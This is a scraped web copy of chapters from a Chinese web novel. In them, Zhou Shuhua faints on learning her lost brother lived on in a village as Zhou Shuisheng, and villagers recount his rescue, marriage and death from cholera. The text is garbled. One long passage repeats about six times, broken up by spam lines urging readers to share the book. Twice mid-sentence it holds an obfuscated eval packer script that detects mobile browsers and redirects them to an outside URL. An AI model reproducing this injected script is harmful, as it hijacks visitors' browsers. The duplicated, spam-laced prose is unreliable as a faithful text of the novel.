周淑华那张从前写满嫌恶的脸,对着她一句句贬损的狠话,还有在纪委办公室里,那些冠冕堂皇举报她的场面话。 她早就在心里划了线,周淑华,往后就是陌路人。 可这会子,这层早就该断了的关系却又强行被血脉连上了。 她胸口发闷,只感觉到茫然,和从里到外,全身心的抗拒。 她没有看扑过来的周淑华,长长的眼睫低垂,遮住了所有翻涌的情绪。 随后,微微侧过头,将脸轻轻埋进了身旁沈淮川坚实的肩窝里。 沈淮川当下就觉出她身上的僵硬,他胳膊一收,把她往怀里又紧了紧。 他抬眼,迎向周淑华踉跄扑来的身影,深邃的眸子里没有丝毫松动,只有沉沉的保护欲。 对着泪流满面 、快撑不住的周淑华,他轻轻摇了摇头,动作慢,却十分坚定。 周淑华猛地顿住脚。 她离周柒柒就差那么一步。 侄女她的亲侄女,弟弟留下的唯一血脉,就在眼前,却连看都不愿看她一眼。 此刻,她心头只剩下悔恨。 她想起了自己当初是怎样指着这孩子的鼻子骂她配不上沈淮川,是怎样用最恶毒的语言去揣测她、羞辱她,甚至还去纪委举报她…… “我我. 她想说话,喉咙却像被什么东西死死掐住,半点声音都发不出来。 心口像是被一只无形的手攥住,狠狠揉着、捏着,那股子钻心的疼,让她眼前一阵阵发黑。 她死死盯着周柒柒那单薄的后背,张着嘴,光出气不进气地喘着,身子不受控制地晃了晃。 方才撑着她的那点指望,一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123216|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子全空了,只剩下铺天盖地的绝望。 “噗通! 忽然一下子,她重重向后栽倒下去。 “淑华!雷政委脸色剧变,扑了过去把她接住。 “妈——!雷玉华尖叫着。 **和瘫软在地的李桂香两口子,也都被这突如其来的变故惊得抬起了头。 只有伏在沈淮川肩头的周柒柒,身体微微一颤,攥着他衣角的手指,收得更紧了。 —— 周淑华再睁开眼,天都擦黑了。 她醒来第一眼,就看到糊着旧报纸的房梁,土坯墙。 她眨巴了几下眼睛,才看清自己躺在铺着蓝印花布褥子的土炕上,看着好像是许村长家。 炕沿边围着俩穿着白大褂的人,正小声嘀咕着啥。 她稍微有点意识,就张嘴喊着,“柒柒! 她嗓子眼干得发紧,声音嘶哑,手还胡乱地在炕上划拉。 “醒了!醒了!淑华,淑华,别急,柒柒在呢!就在那儿! 雷政委赶紧凑过来,粗糙的大手握住她冰凉的手指头,朝屋角努了努嘴。 周淑华顺着他指的方向,使劲儿睁大眼睛望去。 屋子另一头,挨着窗户根儿摆着两条长板凳。 周柒柒和沈淮川就坐在那儿。 屋里点着煤油灯,光线昏黄,人影被拉得老 长。 隔得是有点远,看不太清脸上的神色,但那两个身影,确确实实还在屋里,没走。 周淑华心里那块吊着的石头,“咚”地一下落了地,可紧跟着又泛起一股酸涩的苦水。 她知道,能待在这儿,没抬脚就走,已经是那孩子心善了。 不知道是念着周建邦的血缘关系?还是念着沈淮川的面子? 反正,不可能是念着她这个姑姑。 她扯了扯嘴角,露出一丝比哭还难看的苦笑。 够了,眼下这样,就够了,她不敢再奢望别的。 雷政委看她眼神直勾勾地盯着那边,又怕她情绪再上来,忙拍着她的手背,低声絮叨着宽慰: “淑华啊,你看,往好处想想。咱今天,好歹是知道了建邦的下落!他没像当年传的那样,让山洪卷走,连个尸首都找不着!他活下来了,还成了家,有了媳妇儿,生了这么个好闺女!” 雷政委顿了一下,感慨道: “至少她这个闺女,平平安安长这么大了!这这已经是老天爷开眼,给咱最大的念想了!是不是?” 周淑华听着,眼泪珠子不听使唤地滚了下来。 她不住地点头,喉咙里“嗯嗯”地应着,可那泪越流越凶。 半晌,她才哽着嗓子,带着哭腔问出来: “是,是老天爷开眼。可老雷,建邦他他为啥啊?当年他明明活着,就在这山沟沟里,他为啥不回家?为啥不捎个信儿啊?爸妈临死都闭不上眼,就念叨着他啊” 她越说越激动,挣扎着就想坐起来, “不行!我得去问李桂香!我得问清楚!建邦他两口子到底咋回事!” “妈!妈!你别动!快躺好!” 雷玉华一直守在旁边,赶紧按住她妈乱动的肩膀,急声道, “问!肯定问!你昏迷这段时间里,淮川哥和柒柒两个人,把一切都安排妥了!” 她下巴朝外努了努。 “村长、当年给舅舅瞧过病的王大夫、还有跟舅舅舅妈处得好的几个村里人,都请来了,在外头堂屋候着呢!就等着你缓过劲儿来,把事情都弄清楚呢!” 说着便是扶着周淑华半躺下来。 周淑华转过头,浑浊的泪眼再次望向窗户根儿下那两个沉默的身影,嘴唇哆嗦了好几下,才挤出带着浓浓鼻音的两个字: “谢谢。” 声音不大,飘在昏暗的屋子里。 第246章 水生 沈淮川远远地看着她,脸上没什么表情,只轻轻点了点头。 随即,他轻轻拍了拍周柒柒放在膝上的手,利落地站起身,朝着屋外走去。 沈淮川出去没多久,屋外就响起一阵窸窸窣窣的脚步声和压低的说话声。 门帘子一掀,许村长打头,领着七八个村里人鱼贯走了进来。 有男有女,有头发花白的老头老太太,也有三四十岁的中年汉子、媳妇儿。 最后跟着进来的,是背着那个破旧小木箱的王瘸子。 屋里一下子显得有些拥挤。 这些平日里嗓门敞亮的庄稼人,这会儿都缩手缩脚地站在炕沿边,眼神儿瞟瞟炕上躺着的周淑华,又瞄瞄坐在窗根底下的周柒柒和沈淮川。 最后落到那几个穿着橄榄绿和干部模样的人身上,手脚都不知道该往哪儿放,大气儿都不敢喘。 “都别杵着,坐,快坐!地方小,挤挤,炕上也能坐! 沈淮川开口招呼着, “叔,婶子,大哥,嫂子们,别紧张。今儿个就是请你们来唠唠嗑,说说我媳妇儿她爹妈,周水生两口子,当**儿。我知道,柒柒小时候在村里,没少受各位的照应。我是她男人,就是自家人。有啥说啥,甭拘着。 他这几句实在话,像给紧绷的弦松了扣。 几个村民互相看看,脸上的紧张劲儿缓了些,在许村长的招呼下,找地方坐了,有的坐凳子,有的挨着炕沿坐半边屁股。 许村长清了清嗓子,搓了搓粗糙的大手:“那那俺先说?俺知道的多点儿。 “嗯,你说。沈淮川点点头。 “水生他们两口子啊. 许村长刚开了个头,就被雷玉华急急地打断了: “等等!村长叔,水生?我舅舅叫周建邦啊!不是水生! 许村长愣了一下,有点茫然地摇摇头: “周建邦?俺们村没听说过这号人啊。俺们这就一个姓周的,叫水生,周水生。 沈淮川抬手示意雷玉华稍安勿躁,对村长说: “叔,您接着说,就说您知道的周水生。 “哦哦,好。 许村长定了定神,接着道, “水生两口子嗐,其实当初来的,还 不是两口子是三个人!得有.得有二十几年了?那会儿俺还不是村长呢。” 旁边戴着蓝布头巾的张婶子插嘴道:“对你不是村长可你爹是村长!没啥不一样的!” 这话引来几声低低的哄笑气氛瞬间松快了点。 许村长不好意思地挠挠头: “是是是俺是跟着俺爹屁股后头转悠的。那年头旱!大旱!好多地方遭灾逃荒过来的人不少。水生他们仨就是逃荒来的。 一个男的就是水生;一个女的叫齐琳琳妹子长得可俊;还有一个是琳妹子的娘俺们都叫她齐三娘。” “她们仨来俺们许家村是来寻亲的。三娘说她有个亲姐姐嫁到这边了叫二娘。她们老家遭了灾实在活不下去就想来投奔亲姐姐。可谁成想啊” 许村长叹了口气 “找过来才知道二娘一家子早些年就搬走了搬哪儿去了也没人知道音信全无。这娘仨算是走投无路了身上带的干粮也吃光了。齐三娘就求俺爹看能不能在俺们村落下脚她们实在是走不动了我爹心软就同意了。” “当时水生情况特别不好!” 一直沉默的王瘸子这时站了起来接过话头 “俺被请过去瞧的时候他人是昏迷的脑袋瓜子上磕了这么大一个血窟窿!” 他用手比划了个碗口大小 “皮肉翻着血糊糊的还发着高烧摸着都烫手!眼瞅着就剩一口气吊着了!” 王瘸子看向炕上的周淑华和窗边的周柒柒语气带着点唏嘘: “琳妹子跟她娘说她们是在逃荒路上经过一条大河发过山洪的河滩子上捡到水生的。当时他就被水泡得不成样子脑袋还磕在石头上。是她们娘俩用土法子嚼了草药敷上硬是给他止住了血又一路背着他、拖着他才熬到俺们村。要不是她们他早就交代在河滩上了!” “后来费了老大劲儿才把人救回来可也是在水里泡太久加上脑袋上那一下磕得太狠” 王瘸子指了指自己的太阳穴 “水生人是救回来了可啥事都记不得了!糊里糊涂的 周这个字有反应,就姓周了,然后因为是水里发现的,齐三娘就给他取了个名字叫水生,连起来,就是周水生。 这时,周淑华哑着嗓子,急切地问了一句: “许村长,王大夫,你们说的事情,是哪一年,几月份的事? 许村长挠挠头:“这这俺记不太清了,俺也是听俺娘后来念叨的。 “俺记得! 张婶子一拍大腿,声音亮堂, “就是二十一年前的八月,快进九月那会儿!俺记得可清楚! 为啥?因为俺那会儿正跟俺家那口子许富贵说亲呢,日子就定在九月!结果水生一来,俺一瞧见哎哟喂! 她有点不好意思地笑了,眼睛里都带着笑意, “那么俊的后生,病歪歪的也挡不住那股子精神气儿,害得俺当时都不想嫁给富贵了!后来还是富贵连夜把我抢回他家去的!就这事儿,俺能记一辈子! 她这话说的满屋人都忍不住笑了起来。 就连窗根底下,一直沉着脸的周柒柒,嘴角也轻轻弯了一下。 她记忆里,小时候,张婶子确实总爱往她家跑,说是找娘说话,可那双眼睛,总忍不住往爹身上瞟。 不过张婶子人爽利,有分寸,就是羡慕羡慕,从不乱嚼舌根,跟娘关系也好,还常帮娘打水、做点重活。 周淑华在炕上猛点头,眼泪又涌了出来: “是!就是那年的八月底,建邦出了事,被山洪卷走,就是那个时候!原来原来他被冲了这么远. 她哽咽着,想起当年爹娘和自己只在附近的山里、河沟里疯了一样地找,谁能想到他竟被冲到了这么个地图上找不着的小山村! 雷玉华也红了眼圈,喃喃道: “原来.原来舅舅不是不想回家,是磕破了脑袋,啥都不记得了 雷政委长长地叹了口气,感慨道:“唉,真是命运弄人,不过这下,一切就都说得通了。 许村长看大家情绪缓了点,才接着刚才的话茬说: “后来啊,水生身体慢慢养好了点,齐三娘和琳妹子也带着他,跑过周围几个镇子,想帮他找找家人,可那年月,到处都是下乡改造的,乱糟糟的,又隔得远,上哪儿找去?一点线索都没摸着。 再加上齐三娘,本来身子骨就弱,这一路逃荒,又操心受累的,跟着跑了几趟,回来就一病不起了,水生这孩子实诚,看着老人为了自己的事儿病倒,死活不让琳妹子再出去找了,这事儿就这么放下了。 屋里一时没人说话,只有煤油灯芯燃烧时轻微的“噼啪声。 王瘸子开口,声音低沉下去,带着沉重的叹息: “寻亲这事儿停是停了,可是没想到,后来,齐三娘她老人家没撑到腊月,还是走了.从此,琳妹子和水生就相依为命了。 这话一说完,一股沉甸甸的悲伤,漫过了在场每个人的心头。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 周这个字有反应就姓周了然后因为是水里发现的齐三娘就给他取了个名字叫水生连起来就是周水生。” 这时周淑华哑着嗓子急切地问了一句: “许村长王大夫你们说的事情是哪一年几月份的事?” 许村长挠挠头:“这这俺记不太清了俺也是听俺娘后来念叨的。” “俺记得!” 张婶子一拍大腿声音亮堂 “就是二十一年前的八月快进九月那会儿!俺记得可清楚!” 为啥?因为俺那会儿正跟俺家那口子许富贵说亲呢日子就定在九月!结果水生一来俺一瞧见哎哟喂!” 她有点不好意思地笑了眼睛里都带着笑意 “那么俊的后生病歪歪的也挡不住那股子精神气儿害得俺当时都不想嫁给富贵了!后来还是富贵连夜把我抢回他家去的!就这事儿俺能记一辈子!” 她这话说的满屋人都忍不住笑了起来。 就连窗根底下一直沉着脸的周柒柒嘴角也轻轻弯了一下。 她记忆里小时候张婶子确实总爱往她家跑说是找娘说话可那双眼睛总忍不住往爹身上瞟。 不过张婶子人爽利有分寸就是羡慕羡慕从不乱嚼舌根跟娘关系也好还常帮娘打水、做点重活。 周淑华在炕上猛点头眼泪又涌了出来: “是!就是那年的八月底建邦出了事被山洪卷走就是那个时候!原来原来他被冲了这么远.” 她哽咽着想起当年爹娘和自己只在附近的山里、河沟里疯了一样地找谁能想到他竟被冲到了这么个地图上找不着的小山村! 雷玉华也红了眼圈喃喃道: “原来.原来舅舅不是不想回家是磕破了脑袋啥都不记得了” 雷政委长长地叹了口气感慨道:“唉真是命运弄人不过这下一切就都说得通了。” 许村长看大家情绪缓了点才接着刚才的话茬说: “后来啊 再加上齐三娘本来身子骨就弱这一路逃荒又操心受累的跟着跑了几趟回来就一病不起了水生这孩子实诚看着老人为了自己的事儿病倒死活不让琳妹子再出去找了这事儿就这么放下了。” 屋里一时没人说话只有煤油灯芯燃烧时轻微的“噼啪”声。 王瘸子开口声音低沉下去带着沉重的叹息: “寻亲这事儿停是停了可是没想到后来齐三娘她老人家没撑到腊月还是走了.从此琳妹子和水生就相依为命了。” 这话一说完一股沉甸甸的悲伤漫过了在场每个人的心头。 你的朋友正在书荒,快去帮帮他吧 周这个字有反应就姓周了然后因为是水里发现的齐三娘就给他取了个名字叫水生连起来就是周水生。” 这时周淑华哑着嗓子急切地问了一句: “许村长王大夫你们说的事情 许村长挠挠头:“这这俺记不太清了俺也是听俺娘后来念叨的。” “俺记得!” 张婶子一拍大腿声音亮堂 “就是二十一年前的八月快进九月那会儿!俺记得可清楚!” 为啥?因为俺那会儿正跟俺家那口子许富贵说亲呢日子就定在九月!结果水生一来俺一瞧见哎哟喂!” 她有点不好意思地笑了眼睛里都带着笑意 “那么俊的后生病歪歪的也挡不住那股子精神气儿害得俺当时都不想嫁给富贵了!后来还是富贵连夜把我抢回他家去的!就这事儿俺能记一辈子!” 她这话说的满屋人都忍不住笑了起来。 就连窗根底下一直沉着脸的周柒柒嘴角也轻轻弯了一下。 她记忆里小时候张婶子确实总爱往她家跑说是找娘说话可那双眼睛总忍不住往爹身上瞟。 不过张婶子人爽利有分寸就是羡慕羡慕从不乱嚼舌根跟娘关系也好还常帮娘打水、做点重活。 周淑华在炕上猛点头眼泪又涌了出来: “是!就是那年的八月底建邦出了事被山洪卷走就是那个时候!原来原来他被冲了这么远.” 她哽咽着想起当年爹娘和自己只在附近的山里、河沟里疯了一样地找谁能想到他竟被冲到了这么个地图上找不着的小山村! 雷玉华也红了眼圈喃喃道: “原来.原来舅舅不是不想回家是磕破了脑袋啥都不记得了” 雷政委长长地叹了口气感慨道:“唉真是命运弄人不过这下一切就都说得通了。” 许村长看大家情绪缓了点才接着刚才的话茬说: “后来啊水生身体慢慢养好了点齐三娘和琳妹子也带着他跑过周围几个镇子想帮他找找家人可那年月到处都是下乡改造的乱糟糟的又隔得远上哪儿找去?一点线索都没摸着。 再加上齐三娘本来身子骨就弱这一路逃荒又操心受累的跟着跑了几趟回来就一病不起了水生这孩子实诚看着老人为了自己的事儿病倒死活不让琳妹子再出去找了这事儿就这么放下了。” 屋里一时没人说话只有煤油灯芯燃烧时轻微的“噼啪”声。 王瘸子开口声音低沉下去带着沉重的叹息: “寻亲这事儿停是停了可是没想到后来齐三娘她老人家没撑到腊月还是走了.从此琳妹子和水生就相依为命了。” 这话一说完一股沉甸甸的悲伤漫过了在场每个人的心头。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 周这个字有反应,就姓周了,然后因为是水里发现的,齐三娘就给他取了个名字叫水生,连起来,就是周水生。” 这时,周淑华哑着嗓子,急切地问了一句: “许村长,王大夫,你们说的事情,是哪一年,几月份的事?” 许村长挠挠头:“这这俺记不太清了,俺也是听俺娘后来念叨的。” “俺记得!” 张婶子一拍大腿,声音亮堂, “就是二十一年前的八月,快进九月那会儿!俺记得可清楚!” 为啥?因为俺那会儿正跟俺家那口子许富贵说亲呢,日子就定在九月!结果水生一来,俺一瞧见哎哟喂!” 她有点不好意思地笑了,眼睛里都带着笑意, “那么俊的后生,病歪歪的也挡不住那股子精神气儿,害得俺当时都不想嫁给富贵了!后来还是富贵连夜把我抢回他家去的!就这事儿,俺能记一辈子!” 她这话说的满屋人都忍不住笑了起来。 就连窗根底下,一直沉着脸的周柒柒,嘴角也轻轻弯了一下。 她记忆里,小时候,张婶子确实总爱往她家跑,说是找娘说话,可那双眼睛,总忍不住往爹身上瞟。 不过张婶子人爽利,有分寸,就是羡慕羡慕,从不乱嚼舌根,跟娘关系也好,还常帮娘打水、做点重活。 周淑华在炕上猛点头,眼泪又涌了出来: “是!就是那年的八月底,建邦出了事,被山洪卷走,就是那个时候!原来原来他被冲了这么远.” 她哽咽着,想起当年爹娘和自己只在附近的山里、河沟里疯了一样地找,谁能想到他竟被冲到了这么个地图上找不着的小山村! 雷玉华也红了眼圈,喃喃道: “原来.原来舅舅不是不想回家,是磕破了脑袋,啥都不记得了” 雷政委长长地叹了口气,感慨道:“唉,真是命运弄人,不过这下,一切就都说得通了。” 许村长看大家情绪缓了点,才接着刚才的话茬说: “后来啊,水生身体慢慢养好了点,齐三娘和琳妹子也带着他,跑过周围几个镇子,想帮他找找家人,可那年月,到处都是下乡改造的,乱糟糟的,又隔得远,上哪儿找去?一点线索都没摸着。 再加上齐三娘,本来身子骨就弱,这一路逃荒,又操心受累的,跟着跑了几趟,回来就一病不起了,水生这孩子实诚,看着老人为了自己的事儿病倒,死活不让琳妹子再出去找了,这事儿就这么放下了。” 屋里一时没人说话,只有煤油灯芯燃烧时轻微的“噼啪”声。 王瘸子开口,声音低沉下去,带着沉重的叹息: “寻亲这事儿停是停了,可是没想到,后来,齐三娘她老人家没撑到腊月,还是走了.从此,琳妹子和水生就相依为命了。” 这话一说完,一股沉甸甸的悲伤,漫过了在场每个人的心头。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 周这个字有反应,就姓周了,然后因为是水里发现的,齐三娘就给他取了个名字叫水生,连起来,就是周水生。” 这时,周淑华哑着嗓子,急切地问了一句: “许村长,王大夫,你们说的事情,是哪一年,几月份的事?” 许村长挠挠头:“这这俺记不太清了,俺也是听俺娘后来念叨的。” “俺记得!” 张婶子一拍大腿,声音亮堂, “就是二十一年前的八月,快进九月那会儿!俺记得可清楚!” 为啥?因为俺那会儿正跟俺家那口子许富贵说亲呢,日子就定在九月!结果水生一来,俺一瞧见哎哟喂!” 她 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雷政委长长地叹了口气,感慨道:“唉,真是命运弄人,不过这下,一切就都说得通了。” 许村长看大家情绪缓了点,才接着刚才的话茬说: “后来啊,水生身体慢慢养好了点,齐三娘和琳妹子也带着他,跑过周围几个镇子,想帮他找找家人,可那年月,到处都是下乡改造的,乱糟糟的,又隔得远,上哪儿找去?一点线索都没摸着。 再加上齐三娘,本来身子骨就弱,这一路逃荒,又操心受累的,跟着跑了几趟,回来就一病不起了,水生这孩子实诚,看着老人为了自己的事儿病倒,死活不让琳妹子再出去找了,这事儿就这么放下了。” 屋里一时没人说话,只有煤油灯芯燃烧时轻微的“噼啪”声。 王瘸子开口,声音低沉下去,带着沉重的叹息: “寻亲这事儿停是停了,可是没想到,后来,齐三娘她老人家没撑到腊月,还是走了.从此,琳妹子和水生就相依为命了。” 这话一说完,一股沉甸甸的悲伤,漫过了在场每个人的心头。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 周这个字有反应,就姓周了,然后因为是水里发现的,齐三娘就给他取了个名字叫水生,连起来,就是周水生。 这时,周淑华哑着嗓子,急切地问了一句: “许村长,王大夫,你们说的事情,是哪一年,几月份的事? 许村长挠挠头:“这这俺记不太清了,俺也是听俺娘后来念叨的。 “俺记得! 张婶子一拍大腿,声音亮堂, “就是二十一年前的八月,快进九月那会儿!俺记得可清楚! 为啥?因为俺那会儿正跟俺家那口子许富贵说亲呢,日子就定在九月!结果水生一来,俺一瞧见哎哟喂! 她有点不好意思地笑了,眼睛里都带着笑意, “那么俊的后生,病歪歪的也挡不住那股子精神气儿,害得俺当时都不想嫁给富贵了!后来还是富贵连夜把我抢回他家去的!就这事儿,俺能记一辈子! 她这话说的满屋人都忍不住笑了起来。 就连窗根底下,一直沉着脸的周柒柒,嘴角也轻轻弯了一下。 她记忆里,小时候,张婶子确实总爱往她家跑,说是找娘说话,可那双眼睛,总忍不住往爹身上瞟。 不过张婶子人爽利,有分寸,就是羡慕羡慕,从不乱嚼舌根,跟娘关系也好,还常帮娘打水、做点重活。 周淑华在炕上猛点头,眼泪又涌了出来: “是!就是那年的八月底,建邦出了事,被山洪卷走,就是那个时候!原来原来他被冲了这么远. 她哽咽着,想起当年爹娘和自己只在附近的山里、河沟里疯了一样地找,谁能想到他竟被冲到了这么个地图上找不着的小山村! 雷玉华也红了眼圈,喃喃道: “原来.原来舅舅不是不想回家,是磕破了脑袋,啥都不记得了 雷政委长长地叹了口气,感慨道:“唉,真是命运弄人,不过这下,一切就都说得通了。 许村长看大家情绪缓了点,才接着刚才的话茬说: “后来啊,水生身体慢慢养好了点,齐三娘和琳妹子也带着他,跑过周围几个镇子,想帮他找找家人,可那年月,到处都是下乡改造的,乱糟糟的,又隔得远,上哪儿找去?一点线索都没摸着。 再加上齐三娘,本来身子骨就弱,这一路逃荒,又操心受累的,跟着跑了几趟,回来就一病不起了,水生这孩子实诚,看着老人为了自己的事儿病倒,死活不让琳妹子再出去找了,这事儿就这么放下了。 屋里一时没人说话,只有煤油灯芯燃烧时轻微的“噼啪声。 王瘸子开口,声音低沉下去,带着沉重的叹息: “寻亲这事儿停是停了,可是没想到,后来,齐三娘她老人家没撑到腊月,还是走了.从此,琳妹子和水生就相依为命了。 这话一说完,一股沉甸甸的悲伤,漫过了在场每个人的心头。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 周这个字有反应,就姓周了,然后因为是水里发现的,齐三娘就给他取了个名字叫水生,连起来,就是周水生。 这时,周淑华哑着嗓子,急切地问了一句: “许村长,王大夫,你们说的事情,是哪一年,几月份的事? 许村长挠挠头:“这这俺记不太清了,俺也是听俺娘后来念叨的。 “俺记得! 张婶子一拍大腿,声音亮堂, “就是二十一年前的八月,快进九月那会儿!俺记得可清楚! 为啥?因为俺那会儿正跟俺家那口子许富贵说亲呢,日子就定在九月!结果水生一来,俺一瞧见哎哟喂! 她有点不好意思地笑了,眼睛里都带着笑意, “那么俊的后生,病歪歪的也挡不住那股子精神气儿,害得俺当时都不想嫁给富贵了!后来还是富贵连夜把我抢回他家去的!就这事儿,俺能记一辈子! 她这话说的满屋人都忍不住笑了起来。 就连窗根底下,一直沉着脸的周柒柒,嘴角也轻轻弯了一下。 她记忆里,小时候,张婶子确实总爱往她家跑,说是找娘说话,可那双眼睛,总忍不住往爹身上瞟。 不过张婶子人爽利,有分寸,就是羡慕羡慕,从不乱嚼舌根,跟娘关系也好,还常帮娘打水、做点重活。 周淑华在炕上猛点头,眼泪又涌了出来: “是!就是那年的八月底,建邦出了事,被山洪卷走,就是那个时候!原来原来他被冲了这么远. 她哽咽着,想起当年爹娘和自己只在附近的山里、河沟里疯了一样地找,谁能想到他竟被冲到了这么个地图上找不着的小山村! 雷玉华也红了眼圈,喃喃道: “原来.原来舅舅不是不想回家,是磕破了脑袋,啥都不记得了 雷政委长长地叹了口气,感慨道:“唉,真是命运弄人,不过这下,一切就都说得通了。 许村长看大家情绪缓了点,才接着刚才的话茬说: “后来啊,水生身体慢慢养好了点,齐三娘和琳妹子也带着他,跑过周围几个镇子,想帮他找找家人,可那年月,到处都是下乡改造的,乱糟糟的,又隔得远,上哪儿找去?一点线索都没摸着。 再加上齐三娘,本来身子骨就弱,这一路逃荒,又操心受累的,跟着跑了几趟,回来就一病不起了,水生这孩子实诚,看着老人为了自己的事儿病倒,死活不让琳妹子再出去找了,这事儿就这么放下了。 屋里一时没人说话,只有煤油灯芯燃烧时轻微的“噼啪声。 王瘸子开口,声音低沉下去,带着沉重的叹息: “寻亲这事儿停是停了,可是没想到,后来,齐三娘她老人家没撑到腊月,还是走了.从此,琳妹子和水生就相依为命了。 这话一说完,一股沉甸甸的悲伤,漫过了在场每个人的心头。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第247章 好人不长命啊 眼看着屋里众人的神情都有些悲伤,许村长搓了搓粗糙的大手,脸上挤出点笑模样,话头一转: “嗐,甭看剩下俩人,日子是难了点,可架不住年轻啊!水生那小子,身子骨养利索了,真是一把子好力气!琳妹子呢,有文化,心气儿也高。” 他咂摸咂摸嘴,像是回味啥好东西: “俩人都是能干的!琳妹子后来考上了镇上小学的老师,捧着公家的饭碗哩!水生呢?记不得从前的事儿,可脑子一点不笨,手脚更麻利!地里工分挣得足,还进了咱村狩猎队!那家伙,钻林子打狍子、套野兔,一把好手!分肉的时候,他家那份儿总比别人厚实点儿!” 张婶子也忍不住插嘴,嗓门敞亮: “可不是嘛!那会儿日子是苦,可小两口有商有量,劲儿往一处使,那小院里,成天都飘着笑声!我每次去也感觉乐呵得不得了!” 许村长连连点头: “对对!才三年!就三年功夫!两口子硬是把原先住的那间,东倒西歪的茅草棚子给掀了!起了一水儿三间大瓦房!青砖到顶,老榆木的房梁!那叫一个气派!在咱村可是头一份儿!” 雷玉华听得眼睛发亮,忍不住插话: “村长叔,是不是就是刚才老许家不远、山根底下那几间?瞧着是比别家齐整!灰瓦顶儿,石头墙基,远远看着就敞亮!” “可不就是那儿嘛!” 许村长一拍大腿,脸上带光, “别看十几年没正经住人了,那地基打得深,鹅卵石都是从老河滩精挑细选挖来的,木头也是上好的老榆木!再加上.” 他顿了顿,目光看向窗根下沉默的周柒柒,声音放软了些, “柒柒丫头懂事早,爹妈走后,她天天都去那院子转一圈,拔拔草,扫扫灰,门窗该修的修都会找人帮忙修.所以啊,才没显着破败。” 雷政委和周淑华飞快地对视了一眼。 周淑华一直攥着被角的手,不知不觉松了松,干裂的嘴唇嗫嚅着,像是想笑,眼泪却又无声地淌下来。 “建邦.” 她声音沙哑,带着哭腔,又带着点奇异的骄傲, “他从小就手巧,啥东西到他手里都能摆弄好” 她想起弟弟小时候用木头给她削的小鸟, 活灵活现。 “弟妹也是个好的,踏实能干。” 雷政委轻轻拍了拍她的肩膀,沉声接道: “嗯,那房子我刚才也瞧见了,确实两口子盖得用心,有本事。” 话虽短,分量却重。 “然后呢然后呢?” 雷玉华听得入了神,身子往前倾,追着问, “舅舅舅妈有了新房子,后来呢?是不是就有了柒柒妹妹?” “是喽!” 许村长点了点头,微微一笑,脸上的褶子都舒展开了, “后来琳妹子就怀上了!水生那高兴劲儿,见天咧着嘴笑!柒柒丫头落生的时候,白白净净,随了琳妹子,打小就招人稀罕!一家三口,日子过得那叫一个有滋有味!琳妹子教书,水生打猎种地,小院里飘着饭香,柒柒丫头在院子里跑来跑去,银铃似的笑声能传老远,满村儿人都羡慕着呢!” 屋里所有人的目光,不自觉地、齐刷刷地投向了窗根底下那个纤细的身影。 周柒柒依旧垂着眼睫,但嘴角却也轻轻地向上勾了一下。 她的脑海里,这段幸福生活的和回忆异常清晰。 那是原身短暂童年里最无忧无虑、最幸福的时光,是支撑她走过后来无数艰难岁月的唯一光亮。 此刻,作为承载了这份记忆的人,周柒柒能清晰地感受到那份几乎要满溢出来的、纯粹的幸福感。 而周淑华的目光此刻,也粘在周柒柒身上,贪婪地看着,仿佛怎么也看不够。 那目光里有浓得化不开的疼惜,有失而复得的巨大庆幸,更有着深不见底的、无法言说的愧疚。 虽然这孩子现在不肯认她,连个眼神都不肯给,但这可是建邦的血脉啊! 是弟弟留在这世上唯一的念想,也是她现在.唯一的寄托了。 她胸口堵得厉害,又酸又胀,只能死死咬着下唇,生怕自己控制不住,再哭出声来惊扰了她。 雷玉华不忍心看母亲这样,一边握着母亲的手,一边试图转移话题,问村长道: “村长大叔,后来呢?舅舅舅妈那么好,后来咋样了?” 许村长脸上的笑一下子没了,像被霜打蔫的茄子,重重叹口气: “唉!老话说好人不长命啊!柒丫头六岁那 年咱这地界儿闹霍乱” 他搓了把脸声音沉下去: “水生两口子就那会儿去了趟镇上不知咋地就染上了!那可是要命的瘟病谁不怕?没人敢沾边儿。两口子把自己锁在屋里就.就把柒柒丫头往我家门缝里一塞让我家帮忙照看着。” 屋里空气一下子冻住了。 那一年的霍乱临近的几个村子都**不少人大家现在乡下都还心有余悸。 许村长嗓子眼发哽“没几天功夫水生和琳妹子两口子人就没了。” 雷玉华本意是想不让母亲那么伤心可没想到村长接下来要说的却是这个。 这个冰冷的消息让周淑华更伤心了。 可她这几天已经哭的太多了这会儿想哭都哭不出来只能闭着眼睛死死咬住自己的牙。 屋子里其他人也都露出了伤感的表情。 村长也掉了几滴泪他当年和水生差不多的年纪关系也好着呢。 他伸出袖子擦了擦眼泪接着说道。 “等我爹得了信儿带着柒柒赶过去晚啦!就看见李桂香和许老蔫那两口子正吭哧吭哧往自家倒腾东西呢!水缸、柜子、被褥、锅碗瓢盆.周家那三间大瓦房眼瞅着就剩个空壳壳!” “呸!” 张婶子啐了一口火气蹭地上来了 “那俩黑心肝的!嘴里还叭叭的说水生两口子咽气前亲口说的家当全给他俩柒丫头也归他们养!水生和琳妹子攒下的家底全都被他们搬走了 雷玉华听得直皱眉刚才在院门口李桂香撒泼打滚装晕那出儿她可都看在眼里呢!对他们家实在是没好感! 她实在憋不住急得直拍炕沿: “这咋可能啊!舅舅舅妈那么好的人能瞧得上李桂香两口子?村里都没人待见她们!咋会把柒柒妹妹交给她们抚养?这.这说不通啊!” 许村长苦着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 